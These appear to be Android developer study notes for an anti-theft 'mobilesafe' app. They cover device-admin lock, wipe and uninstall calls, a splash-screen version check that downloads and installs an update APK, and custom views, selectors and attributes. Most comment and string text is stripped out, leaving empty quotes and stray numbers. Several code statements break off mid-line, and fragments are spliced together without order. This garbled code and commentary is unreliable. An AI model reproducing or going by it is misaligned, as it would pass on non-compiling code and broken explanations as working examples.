								intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,who);

							

intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,getResources().getString(R.string.screen_loack_desc));

								startActivityForResult(intent,	REQUEST_CODE_ENABLE_ADMIN);

				}

	

				/**

					*	sd

					*/

				public	void	wipedata()	{

								if	(isActiveAdmin())	{

												dpManager.wipeData(0);

								}	else	{

												activeAdminDevice();

								}

				}

				/**

					*1

					*/

				public	void	screenOff()	{

	

								if	(isActiveAdmin())	{//	a)	

												dpManager.lockNow();

												System.out.println("~~~" );

								}	else	{//	b

												System.out.println("~~~" );

												activeAdminDevice();



								}

				}

				/**

					*2

					*/

				public	void	enableSceenLock()	{

								if	(isActiveAdmin())	{

												ComponentName	who	=	new	ComponentName(this,	ScreenLockDeviceAdminReceiver.

												dpManager.removeActiveAdmin(who	);

								}

				}

				/**

					*	3

					*/

				public	void	uninstall(){

								if	(isActiveAdmin())	{//	

												ComponentName	who	=	new	ComponentName(this,	ScreenLockDeviceAdminReceiver.

												dpManager.removeActiveAdmin(who);

								}

								/*<activity	android:name=".UninstallerActivity"

												android:configChanges="orientation|keyboardHidden|screenSize"

												android:excludeFromRecents="true"

												android:theme="@android:style/Theme.DeviceDefault.Dialog.NoActionBar">

												<intent-filter>

																<action	android:name="android.intent.action.DELETE"	/>

																<action	android:name="android.intent.action.UNINSTALL_PACKAGE"	/>

																<category	android:name="android.intent.category.DEFAULT"	/>

																<data	android:scheme="package"	/>

												</intent-filter>

								</activity>*/

								Intent	intent	=	new	Intent();

								intent.setAction(Intent.ACTION_UNINSTALL_PACKAGE);

								//	intent.setAction(Intent.ACTION_DELETE);

								intent.addCategory(Intent.CATEGORY_DEFAULT);

								intent.setData(Uri.parse("package:"	+	getPackageName()));

								startActivity(intent);

				}

}
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1 APIs	Demo:	sdk\samples\android-
16\ApiDemos\src\com\example\android\apis

	

	-		com.sannuo.music
	-		com.sannuo.gps
	-
	-

2 80%~90%
cn.zengfansheng.mobilesafe.activity					
cn.zengfansheng.mobilesafe.activity.ui		UI(UI)
cn.zengfansheng.mobilesafe.engine			(webservice)
cn.zengfansheng.mobilesafe.service			()
cn.zengfansheng.mobilesafe.receiver				
cn.zengfansheng.mobilesafe.utils			
cn.zengfansheng.mobilesafe.db				
cn.zengfansheng.mobilesafe.db.dao				
	





Splash	

Splash1logo
2()
3
alt+shift+s		R		GetterSetter
1id
-Activity-
android:id="@+id/tv_splash_version"	
2AndroidManifest.xml
//	1
PackageManager	packageManager	=	this.getPackageManager();
PackageInfo	packageInfo	=	packageManager.getPackageInfo(this.getPackageName(),	0);//	2
//	PackageInfo	AndroidManifest.xml
//	2versionName
appVersion	=	packageInfo.versionName;
3
application
android:theme="@android:style/Theme.NoTitleBar"	
4
/**
	*	TODO	SplashActivity	2
	*/
private	class	CheckVersionTask	implements	Runnable	{
				@Override
				public	void	run()	{
								Message	msg	=	new	Message();
								try	{
												//	1config.xmlpathURL
												URL	url	=	new	URL(getApplicationContext().getResources().getString(R.string.urlPath
												//	2 http
												HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
												//	3
												conn.setRequestMethod("GET");
												conn.setConnectTimeout(5000);
												//	4
												int	responseCode	=	conn.getResponseCode();
												if	(responseCode	==	200)	{//	4-1200
																//	4-1-1io
																InputStream	inputStream	=	conn.getInputStream();//	 xml
																updateInfo	=	UpdateInfoParse.getUnpdateInfo(getApplicationContext(),inputStream);



																if	(updateInfo!=null)	{
																				msg.what	=	PARSE_SUCCESS;
																				//	handler.sendMessage(msg);//finally
																				return;
																}else	{
																				msg.what	=	PARSE_ERROR;
																				return;
																}
																
												}	else	{//	4-2200
																msg.what	=	SERVER_RESPONSE_ERROR;
												}
								}	catch	(MalformedURLException	e)	{
												e.printStackTrace();
												//	url,SERVER_ERROR
												msg.what	=	SERVER_ERROR;
								}	catch	(IOException	e)	{
												//	IO_ERROR
												e.printStackTrace();
												msg.what	=	IO_ERROR;
								}	finally	{
												//	5
												handler.sendMessage(msg);
								}
				}
}
5
public	static	final	int	PARSE_SUCCESS	=	11;
public	static	final	int	PARSE_ERROR	=	10;
public	static	final	int	URL_ERROR	=	20;
public	static	final	int	SERVER_RESPONSE_ERROR	=	30;
public	static	final	int	IO_ERROR	=	40;
protected	static	final	String	TAG	=	"SplashActivity";
private	Handler	handler	=	new	Handler()	{
				@Override
				public	void	handleMessage(Message	msg)	{
								super.handleMessage(msg);
								switch	(msg.what)	{
								case	URL_ERROR:
												Toast.makeText(SplashActivity.this.getApplicationContext(),
																				"URL" ,	Toast.LENGTH_SHORT).show();
												break;



								case	IO_ERROR:
												Toast.makeText(SplashActivity.this.getApplicationContext(),
																				"" ,	Toast.LENGTH_SHORT).show();
												break;
								
								case	SERVER_RESPONSE_ERROR:
												Toast.makeText(SplashActivity.this.getApplicationContext(),
																				"" ,	Toast.LENGTH_SHORT).show();
												break;
								case	PARSE_SUCCESS:
												Log.i(TAG,	"xml~~~," 	+	updateInfo.getVersion());
												//	.
												if	(getAppVersion().equals(updateInfo.getVersion()))	{//	
																Log.i(TAG,	"" );
												}	else	{//	
																Log.i(TAG,	"" );
												}
												break;
								
								case	PARSE_ERROR:
												Log.i(TAG,	"xml!!!" );
												break;
								}
				}
};
pullxml	
/**
	*	1	 xmlio
	*	
	*	@param	inputStream	 xml
	*	@return	UpdateInfonull,
	*/
public	static	UpdateInfo	getUnpdateInfo(Context	context,InputStream	inputStream)	{
				try	{
								//	1pull
								XmlPullParser	pullParser	=	Xml.newPullParser();
								//	2pull
								pullParser.setInput(inputStream,	context.getResources().getString(R.string.xmlEncode
							//	FIXME	UpdateInfoParse	1encode xml
								//	3
								int	eventType	=	pullParser.getEventType();
								//	4



								UpdateInfo	updateInfo	=	null;
								while	(eventType	!=	XmlPullParser.END_DOCUMENT)	{
												String	tagName	=	pullParser.getName();//	
												switch	(eventType)	{
												case	XmlPullParser.START_TAG:
																if	("info".equals(tagName))	{//	4-1infonew	UpdateInfo()
																				updateInfo	=	new	UpdateInfo();
																}	else	if	("version".equals(tagName))	{
																				String	version	=	pullParser.nextText();
																				updateInfo.setVersion(version);
																}	else	if	("description".equals(tagName))	{
																				String	description	=	pullParser.nextText();
																				updateInfo.setDescription(description);
																}	else	if	("path".equals(tagName))	{
																				String	urlPath	=	pullParser.nextText();
																				updateInfo.setUrlPath(urlPath);
																}
																break;
												case	XmlPullParser.END_TAG:
																break;
												}
												eventType	=	pullParser.next();
								}
								//	5
								return	updateInfo;
				}	catch	(XmlPullParserException	e)	{//	try{}catch{}
								e.printStackTrace();
								return	null;
				}	catch	(IOException	e)	{
								e.printStackTrace();
								return	null;
				}
}



2
a)loadHomeUi()2
b)showUpdateDialog()
//	.
if	(getAppVersion().equals(updateInfo.getVersion()))	{//	
				Log.i(TAG,	"" );
				loadHomeUi();//	
}	else	{//	
				Log.i(TAG,	"" );
				showUpdateDialog();//	
}
HomeActivity-ActivityActivity
/**
	*	TODO	SplashActivity	3HomeActivity
	*/
private	void	loadHomeUi()	{



				Intent	intent	=	new	Intent(getApplicationContext(),	HomeActivity.class);
				startActivity(intent);
				finish();//	ActivityHomeActivitySplashActivity
}
3
a)showUpdateDialog()
b)""loadHomeUi()
c)""afinalapk Afinal
android.permission.WRITE_EXTERNAL_STORAGE
d)PackageInstallerinstallApk()

						/**
					*	TODO	SplashActivity	4
					*/
				private	void	showUpdateDialog()	{
								//	AlertDialog.Builder	builder	=	new	Builder(getApplicationContext());//FIXME	2
getApplicationContext()
								AlertDialog.Builder	builder	=	new	Builder(this);
								builder.setTitle("" );//	1
								builder.setMessage(updateInfo.getDescription());//	2
								builder.setPositiveButton("" ,	new	OnClickListener()	{//	3
												@Override
												public	void	onClick(DialogInterface	dialog,	int	which)	{
																Log.i(TAG,	"" +updateInfo.getUrlPath());
																//	TODO	SplashActivity	 apk
																FinalHttp	finalHttp	=	new	FinalHttp();
																//3-1
																String	externalStorageState	=	Environment.getExternalStorageState();
																final	File	file	=	new	File(Environment.getExternalStorageDirectory(),	"temp.apk"
																if	(Environment.MEDIA_MOUNTED.equals(externalStorageState))	{//3-2MEDIA_MOUNTED
																				finalHttp.download(updateInfo.getUrlPath(),	file.getAbsolutePath(),	new	AjaxCallBack<File>
()	{
																								
																								//3-2-1	
																								@Override
																								public	void	onLoading(long	count,	long	current)	{//countcurrent
																												Log.i(TAG,	"" ,	null);
																												super.onLoading(count,	current);
																												int	progress	=	(int)	(current	*	100	/	count);
																												tv_splash_downStatus.setText("" +progress+"%");
//																												super.onLoading(count,	current);
																								}



																								//3-2-2	
																								@Override
																								public	void	onSuccess(File	t)	{
																												Log.i(TAG,	"" ,	null);
																												super.onSuccess(t);
																												installApk(file);// apk
																								}
																								
																				});
																}else	{//3-3	sdcardmounted
																				Toast.makeText(getApplicationContext(),	"sdcard" ,	Toast.LENGTH_SHORT
																				loadHomeUi();//
																}
												}
								});
								builder.setNegativeButton("" ,	new	OnClickListener()	{//	4
												
												@Override
												public	void	onClick(DialogInterface	dialog,	int	which)	{
																Log.i(TAG,	"" );
																loadHomeUi();//HomeActivity
												}
								});
								//	5create()show()
								/*AlertDialog	alertDialog	=	builder.create();
								alertDialog.show();*/
								builder.show();
				}
apk-PackageInstaller	
				/**
					*	TODO	SplashActivity	5File apk(PackageInstaller)
					*	@param	t
					*/
				@SuppressLint("InlinedApi")
				private	void	installApk(File	t)	{
									/*<intent-filter>
													<action	android:name="android.intent.action.VIEW"	/>
													<action	android:name="android.intent.action.INSTALL_PACKAGE"	/>
													<category	android:name="android.intent.category.DEFAULT"	/>
													<data	android:scheme="file"	/>
													<data	android:mimeType="application/vnd.android.package-archive"	/>
									</intent-filter>*/



								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_INSTALL_PACKAGE);
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								intent.setDataAndType(Uri.fromFile(t),	"application/vnd.android.package-archive");
								startActivity(intent);
				}



getApplicationContext()-this-getContext()

AlertDialog.Builder	builder	=	new	Builder(getApplicationContext());
getApplicationContext()this
10-26	12:23:14.944:	E/AndroidRuntime(7882):	android.view.WindowManager$BadTokenException:	Unable	to	add	window	--	token
null	is	not	for	an	application

public	void	click(View	view)	{
								//	AlertDialog.Builder	builder	=	new	Builder(this);
								Toast.makeText(getApplicationContext(),	"" ,	0).show();
								//	AlertDialog.Builder	builder	=	new	Builder(getApplicationContext());
								//10-
26	12:51:57.400:	E/AndroidRuntime(1755):	Caused	by:	android.view.WindowManager$BadTokenException:	Unable	to	add	window	-
-	token	null	is	not	for	an	application
								//	activity		 onpasue
								//		activity.
								AlertDialog.Builder	builder	=	new	Builder(this);
								//	this	activity
								builder.setTitle("" );
								builder.setMessage("" );
								builder.setPositiveButton("" ,	new	OnClickListener()	{
												@Override
												public	void	onClick(DialogInterface	dialog,	int	which)	{
																System.out.println("" );
												}
								});
								builder.show();
				}

ServiceActivitythisthisActivityActivityservice
Intent	service	=	new	Intent(this,	MyService.class);
conn	=	new	MyConn();
this.bindService(service,	conn	,	Context.BIND_AUTO_CREATE);		

E/ActivityThread(6156):	Activity	cn.zengfansheng.contextdemo2.MainActivity	has	leaked	ServiceConnection
cn.zengfansheng.contextdemo2.MainActivity$1@a6acc8c0	that	was	originally	bound	here

	getApplicationContext()contextContextService
1getApplicationContext()		
				getapplicationContext()	activity.this
								getAppliactionContext();	.



2activity.this	
3getContext();		



Run-AndroidApplicationdebug
Eclipse
1->Export
2Android->Export	Android	Application

	
3

	



4keystore

	
5keystore



	
6keystore

com.android.launcher



com.android.launcher2
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cn.zengfansheng.mobilesafe		debug
2
cn.zengfansheng.mobilesafe		
	

	



android:theme="@android:style/Theme.Light.NoTitleBar"		

1
android:singleLine="true"		//
android:ellipsize="end"	
none:
start:...
middle:...
end:...
marquee: focusableInTouchMode="true",	
android:focusableInTouchMode="true"

<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<Button
								android:layout_width="100dp"
								android:layout_height="100dp"
								android:ellipsize="none"
								android:focusableInTouchMode="true"
								android:singleLine="true"
								android:text="none," 	/>
				<Button
								android:layout_width="100dp"
								android:layout_height="100dp"
								android:ellipsize="start"
								android:focusableInTouchMode="true"
								android:singleLine="true"
								android:text="start," 	/>
				<Button
								android:layout_width="100dp"
								android:layout_height="100dp"
								android:ellipsize="middle"
								android:focusableInTouchMode="true"
								android:singleLine="true"
								android:text="middle," 	/>
				<Button
								android:layout_width="100dp"



								android:layout_height="100dp"
								android:ellipsize="end"
								android:focusableInTouchMode="true"
								android:singleLine="true"
								android:text="end," 	/>
				<Button
								android:layout_width="100dp"
								android:layout_height="100dp"
								android:ellipsize="marquee"
								android:focusableInTouchMode="true"
								android:singleLine="true"
								android:text="marquee," 	/>
</LinearLayout>



	

2——TextView
button android:ellipsize="marquee"	android:singleLine="true"		TextViewisActivated()
true

View
@ViewDebug.ExportedProperty
public	boolean	isActivated()	{
				return	(mPrivateFlags	&	PFLAG_ACTIVATED)	!=	0;

wiz:open_attachment?guid=b167e991-169e-4991-8fed-8e06f2c913d3


}

TextView
//1TextView isActivated()

//2xml
<cn.zengfansheng.mobilesafe.ui.FocusedTextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:ellipsize="marquee"
								android:singleLine="true"
								android:text="" 	/>		

TextView
package	cn.zengfansheng.mobilesafe.ui;

import	android.content.Context;

import	android.util.AttributeSet;

import	android.widget.TextView;

	

public	class	FocusedTextView	extends	TextView	{

				public	FocusedTextView(Context	context,	AttributeSet	attrs,	int

defStyle)	{

								super(context,	attrs,	defStyle);

				}

				public	FocusedTextView(Context	context,	AttributeSet	attrs)	{

								super(context,	attrs);

				}	

				public	FocusedTextView(Context	context)	{

								super(context);

				}

				@Override

				public	boolean	isFocused()	{

								return	true;

				}

}

wiz:open_attachment?guid=3330608e-b4b8-46c1-ba58-c18ddaaac4ca


HomeActivity	

1 HomeActivity.java

package	cn.zengfansheng.mobilesafe;

import	android.app.Activity;

import	android.os.Bundle;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.GridView;

import	android.widget.ImageView;

import	android.widget.TextView;

/**

	*	2Activity

	*/

public	class	HomeActivity	extends	Activity	{

				private	GridView	gv_home;//	GridView

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_home);

								gv_home	=	(GridView)	this.findViewById(R.id.gv_home_main);

								gv_home.setAdapter(new	MyGridAdapter());

				}

				/**

					*	1GridView

					*	

					*	@author	hacket

					*/

				private	class	MyGridAdapter	extends	BaseAdapter	{

								private	String[]	names	=	{	"" ,	"" ,	"" ,	"" ,	"" ,

																"" ,	"" ,	"" ,	"" 	};

								private	int[]	icons	=	{	R.drawable.safe_theft,

R.drawable.callmsg_guard,

																R.drawable.app_manager,

R.drawable.task_manager,R.drawable.net_manager,	

																R.drawable.phone_antivirus,R.drawable.system_optimize,

																R.drawable.advance_tools,	R.drawable.app_settings	};

								@Override

								public	int	getCount()	{

												return	names.length;

								}

								@Override



								public	View	getView(int	position,	View	convertView,	ViewGroup

parent)	{

												

												//1inflateview

												View	view	=	View.inflate(getApplicationContext(),

R.layout.grid_home_item,	null);

												//	2imageviewtextview

												ImageView	iv_icon	=	(ImageView)

view.findViewById(R.id.iv_icon_item);

												TextView	tv_name	=	(TextView)

view.findViewById(R.id.tv_name_item);

												//	3iamgetext

												iv_icon.setImageResource(icons[position]);

												tv_name.setText(names[position]);

												return	view;

								}

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

				}

}

2
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="match_parent"
								android:layout_height="50dp"
								android:background="#ff1100"
								android:gravity="center"
								android:text="@string/activity_home"
								android:textColor="#00ff00"
								android:textSize="20sp"	/>
				<cn.zengfansheng.mobilesafe.ui.FocusedTextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:ellipsize="marquee"



								android:singleLine="true"
								android:text="@string/home_title"	/>
				<GridView
								android:verticalSpacing="20dip"
								android:id="@+id/gv_home_main"
								android:layout_width="match_parent"
								android:layout_height="match_parent"
								android:numColumns="3"	>
				</GridView>
</LinearLayout>

<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"
				android:gravity="center"
				tools:ignore="UseCompoundDrawables"	>
				<ImageView
								android:id="@+id/iv_icon_item"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:contentDescription="@string/app_icon"
								android:src="@drawable/app_manager"	/>
				<TextView
								android:textColor="#000000"
								android:id="@+id/tv_name_item"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"	/>
</LinearLayout>



State	List

GridView

	

android:listSelector="@android:color/transparent"
State	List

http://developer.android.com/guide/topics/resources/drawable-
resource.html#StateList
1resdrawablexml
XML	file	saved	at	res/drawable/home_item_states_selector.xml
<?xml	version="1.0"	encoding="utf-8"?>
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				
				<item	android:state_pressed="true"
										android:drawable="@color/gray"	/>	<!--	pressed	-->	
										
				<item	android:state_focused="true"
										android:drawable="@color/gray"	/>	<!--	focused	-->	
										
				<item	android:state_hovered="true"
										android:drawable="@color/gray"	/>	<!--	hovered	-->
										
				<item	android:drawable="@android:color/transparent"	/>	<!--	default	-->
</selector>
2res/values/mycolor.xml	
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<color	name="red">#44ff0000</color>
				<color	name="green">#5500ff00</color>
				<color	name="blue">#660000ff</color>
				<color	name="gray">#33000000</color>
</resources>
3res/values/grid_home_item.xml 	LinearLayout		

http://developer.android.com/guide/topics/resources/drawable-resource.html#StateList


android:background="@drawable/home_item_states_selector"		

	

StateList
a)	resdrawablexml, advanced_tools_pressed_seletcor.xml

<?xml	version="1.0"	encoding="utf-8"?>
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				
				<item	android:state_pressed="true"
										android:drawable="@drawable/advance_tools_pressed"	/>	<!--	pressed	-->
										
				<item	android:state_focused="true"
										android:drawable="@drawable/advance_tools_pressed"	/>	<!--	focused	-->
										
				<item	android:drawable="@drawable/advance_tools"	/>	<!--	default	-->
</selector>		

state_pressed state_focused android:drawable

	<item	android:drawable="@android:color/transparent"	/>	
b)	HomeActivity.java
private	int[]	icons	=	{	R.drawable.safe_theft,	R.drawable.callmsg_guard,
																R.drawable.app_manager,	R.drawable.task_manager,R.drawable.net_manager,	
																R.drawable.phone_antivirus,R.drawable.system_optimize,
																R.drawable.advanced_tools_pressed_seletcor,
																R.drawable.app_settings	};

http://developer.android.com/guide/topics/resources/drawable-resource.html#StateList


1	setting_view_layout.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	4SettingActivity	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>

				<TextView
								android:layout_width="match_parent"
								android:layout_height="50dp"
								android:background="#ff1100"
								android:gravity="center"		//TextView
								android:text="@string/activity_setting_center"
								android:textColor="#00ff00"
								android:textSize="20sp"	/>

				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="65dp"	>

								<TextView
												android:id="@+id/tv_setting_title"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_marginLeft="5dip"
												android:layout_marginTop="8dip"
												android:text=""
												android:textSize="18sp"
												android:textColor="#ff000000"	/>

								<TextView
												android:id="@+id/tv_setting_description"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_below="@id/tv_setting_title"
												android:layout_marginLeft="5dip"
												android:layout_marginTop="5dip"
												android:text=""
												android:textSize="14sp"
												android:textColor="#99000000"	/>



								<CheckBox
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:layout_centerVertical="true"	/>

											//
								<View
												android:layout_marginLeft="5dip"
												android:layout_marginRight="5dip"
												android:layout_width="match_parent"
												android:layout_height="1dp"
												android:layout_alignParentBottom="true"
												android:background="#77000000"	/>

				</RelativeLayout>
</LinearLayout>
2



	1

1checkbox
2checkboxcheckbox
android:focusable="false"
android:clickable="false"

	
SettingView.java

1SettingView.java 	 RelativeLayout
​

public	void	initViewFromXml(Context	context)	{
				View.inflate(context,	R.layout.setting_view_layout,	this);
	//inflatexmlViewthis()
}

2View
public	SettingView(Context	context,	AttributeSet	attrs,	int	defStyle)	{
								super(context,	attrs,	defStyle);
								initViewFromXml(context);
				}
				public	SettingView(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								initViewFromXml(context);
				}
				public	SettingView(Context	context)	{
								super(context);
								initViewFromXml(context);
				}
}

3
<cn.zengfansheng.mobilesafe.ui.SettingView
								android:id="@+id/sv1_setting"
								android:layout_width="match_parent"



								android:layout_height="65dip"
								android:background="@drawable/setting_item_states_selector"	>	//
</cn.zengfansheng.mobilesafe.ui.SettingView>

4
package	cn.zengfansheng.mobilesafe.ui;
import	android.content.Context;
import	android.util.AttributeSet;
import	android.view.View;
import	android.widget.CheckBox;
import	android.widget.RelativeLayout;
import	android.widget.TextView;
import	cn.zengfansheng.mobilesafe.R;
/**
	*	2
	*		 xmlview.	settingView	this
	*	@author	hacket
	*/
public	class	SettingView	extends	RelativeLayout	{
				private	TextView	tv_setting_title;//	
				private	TextView	tv_setting_desc;//	
				private	CheckBox	cb_setting;//	checkbox
				public	SettingView(Context	context,	AttributeSet	attrs,	int	defStyle)	{
								super(context,	attrs,	defStyle);
								initViewFromXml(context);
				}
				public	SettingView(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								initViewFromXml(context);
				}
				public	SettingView(Context	context)	{
								super(context);
								initViewFromXml(context);
				}
				/**
					*	1 xmlview
					*	
					*	@param	context
					*/
				public	void	initViewFromXml(Context	context)	{
								//	1	inflatexmlViewthis()
								View	view	=	View.inflate(context,	R.layout.setting_view_layout,	this);



								//	2
								tv_setting_title	=	(TextView)	view.findViewById(R.id.tv_setting_title);
								tv_setting_desc	=	(TextView)	view.findViewById(R.id.tv_setting_description);
								cb_setting	=	(CheckBox)	view.findViewById(R.id.cb_setting);
				}
				
				/**
					*	2
					*	@return	
					*/
				public	String	getTitle()	{
								return	tv_setting_title.getText().toString().trim();
				}
				/**
					*	3
					*	@return	
					*/
				public	String	getDesc()	{
								return	tv_setting_desc.getText().toString().trim();
				}
				/**
					*	4
					*	@param	title	
					*/
				public	void	setTitle(String	title)	{
								tv_setting_title.setText(title);
				}
				/**
					*	5
					*	@param	desc	
					*/
				public	void	setDesc(String	desc){
								tv_setting_desc.setText(desc);
				}
				/**
					*	6 checkbox
					*/
				public	boolean	isChecked()	{
								return	cb_setting.isChecked();
				}
				/**
					*	7 checkbox



					*	@param	isChecked
					*/
				public	void	setChecked(boolean	isChecked){
								cb_setting.setChecked(isChecked);
				}
}



2-xml

xml \sdk\platforms\android-18\data\res\values\attrs.xml
<resource>

<declare-styleable	name="TextView">	
							<!--	Text	to	display.	-->
								<attr	name="text"	format="string"	localization="suggested"	/>
								<!--	Hint	text	to	display	when	the	text	is	empty.	-->
								<attr	name="hint"	format="string"	/>
</declare-styleable>

</resource>

1.			RelativeLayout	LinearLayout	ViewGroup
2.			
			View.inflate(context,	R.layout.setting_view_layout,	this);
3..	
hacket:title="hacket" 		

4.	
xmlns:itheima="http://schemas.android.com/apk/res/<>"
xmlns:hacket="http://schemas.android.com/apk/res/cn.zengfansheng.mobilesafe"

5.res\values\attrs.xml
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<declare-styleable	name="SettingView">		<!--	name:	-->
								<attr	name="title"	format="string"	/>		<!--			-->
								<attr	name="desc_on"	format="string"	/>
								<attr	name="desc_off"	format="string"	/>
				</declare-styleable>
</resources>
6.R	styleable.SettingView	.
public	final	class	R	{
				public	static	final	class	attr	{
								public	static	final	int	desc_off=0x7f010002;
								public	static	final	int	desc_on=0x7f010001;
								public	static	final	int	title=0x7f010000;
				}
							public	static	final	class	styleable	{

http://schemas.android.com/apk/res/cn.zengfansheng.mobilesafe"


													
								public	static	final	int[]	SettingView	=	{
												0x7f010000,	0x7f010001,	0x7f010002
								};	
														public	static	final	int	SettingView_desc_off	=	2;		
														public	static	final	int	SettingView_desc_on	=	1;		
								public	static	final	int	SettingView_title	=	0;		
							}						
}
7.	java.	
public	SettingView(Context	context,	AttributeSet	attrs)	{
				super(context,	attrs);
				initViewFromXml(context);
				System.out.println("SettingView" );
				TypedArray	typedArray	=	context.obtainStyledAttributes(attrs,	R.styleable.SettingView);
				//	 attrs
				String	desc_on	=	typedArray.getString(R.styleable.SettingView_desc_on);
				String	desc_off	=	typedArray.getString(R.styleable.SettingView_desc_off);
				typedArray.recycle();
}
8.		 typedArray	,	typedArray.recycle();		
9.	.		
			





handler.postDelayed()
public	final	boolean	postDelayed(Runnable	r,	long	delayMillis)
				{
								return	sendMessageDelayed(getPostMessage(r),	delayMillis);
				}
1 SplashActivity
autoUpdate	=	this.getSharedPreferences("autoUpdateConfig",	MODE_PRIVATE);
								boolean	isAutoUpdate	=	autoUpdate.getBoolean("autoUpdate",	true);//	
								if	(isAutoUpdate)	{//	
												//	
												new	Thread(new	CheckVersionTask()).start();
								}	else	{//	
												handler.postDelayed(new	Runnable()	{
																@Override
																public	void	run()	{
																				loadHomeUi();//
																}
												},	1000);
								}
2	 SettingActivity 	
//	2SharedPreferences
								autoUpdate	=	this.getSharedPreferences("autoUpdateConfig",	MODE_PRIVATE);
								boolean	isAutoUpdate	=	autoUpdate.getBoolean("autoUpdate",	true);//	
								if	(isAutoUpdate)	{
												sv_setting_autoUpdate.setChecked(true);
								}	else	{
												sv_setting_autoUpdate.setChecked(false);
								}
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2.	PackageManager	.
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1Splash-
a)	activity_splash.xml
b)	CheckVersionTask
			xmlxml
c)	
	
2
a)loadHomeUi()2
b)showUpdateDialog()
	
3
a)showUpdateDialog()



b)""loadHomeUi()
c)""afinalapk
		Afinal
		android.permission.WRITE_EXTERNAL_STORAGE
d)PackageInstallerinstallApk
	
4
a)	Activity.this
b)	getApplicationContext()
c)	getContext()
	
5
	
6
a)	Button
android:ellipsize="marquee"
android:singleLine="true"
b)	TextViewTextViewisFocused()true
	
7GridView
GridView
	
8
1	-
a)	res\drawable\home_item_states_selector.xml
<?xml	version="1.0"	encoding="utf-8"?>
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:state_pressed="true"
										android:drawable="@color/gray"	/>	<!--	pressed	-->				
				<item	android:state_focused="true"
										android:drawable="@color/gray"	/>	<!--	focused	-->
				<item	android:drawable="@android:color/transparent"	/>
</selector>
b)res\layout\grid_home_item.xml
android:background="@drawable/home_item_states_selector"
2)	
a)advanced_tools_pressed_seletcor.xml
<?xml	version="1.0"	encoding="utf-8"?>
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:state_pressed="true"
										android:drawable="@drawable/advance_tools_pressed"	/>
				<item	android:state_focused="true"



										android:drawable="@drawable/advance_tools_pressed"	/>
				<item	android:drawable="@drawable/advance_tools"	/>
</selector>
b)HomeActivity.java
private	int[]	icons	=	{	R.drawable.safe_theft,	R.drawable.callmsg_guard,
																R.drawable.app_manager,	R.drawable.task_manager,R.drawable.net_manager,
																R.drawable.phone_antivirus,R.drawable.system_optimize,
																R.drawable.advanced_tools_pressed_seletcor,
																R.drawable.app_settings	};
	
9.-
	
10.	hander.postDelayed();
	



splash	

key	store	

certificate	

marquee		



1style:\sdk\platforms\android-16\data\res\values\styles.xml--Button
<resources>		
				<style	name="Widget.Button">
								<item	name="android:background">@android:drawable/btn_default</item>
								<item	name="android:focusable">true</item>
								<item	name="android:clickable">true</item>
								<item	name="android:textAppearance">?android:attr/textAppearanceSmallInverse
								<item	name="android:textColor">@android:color/primary_text_light</item>
								<item	name="android:gravity">center_vertical|center_horizontal</item>
				</style>
</resources>
2Buttonsdk\platforms\android-16\data\res\drawable\btn_default.xml
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:state_window_focused="false"	android:state_enabled="true"
								android:drawable="@drawable/btn_default_normal"	/>
				<item	android:state_window_focused="false"	android:state_enabled="false"
								android:drawable="@drawable/btn_default_normal_disable"	/>
				<item	android:state_pressed="true"	
								android:drawable="@drawable/btn_default_pressed"	/>
				<item	android:state_focused="true"	android:state_enabled="true"
								android:drawable="@drawable/btn_default_selected"	/>
				<item	android:state_enabled="true"
								android:drawable="@drawable/btn_default_normal"	/>
				<item	android:state_focused="true"



								android:drawable="@drawable/btn_default_normal_disable_focused"	/>
				<item
									android:drawable="@drawable/btn_default_normal_disable"	/>
</selector>

39-patchbtn_default_selected.9.png

AlertDialog

1)	-alertdialogviewalertdialog
setView(View	view,	int	viewSpacingLeft,	int	viewSpacingTop,	int	viewSpacingRight,int	viewSpacingBottom)

2



a)	\res\drawable\selector_btn_green.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	5-	-->
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:drawable="@drawable/btn_green_pressed"	android:state_enabled="true"
				<item	android:drawable="@drawable/btn_green_pressed"	android:state_enabled="true"
				<item	android:drawable="@drawable/btn_green_normal"/>
</selector>		
b)	\resdrawable-hdpi\btn_green_pressed.9.pngbtn_green_normal.9.png
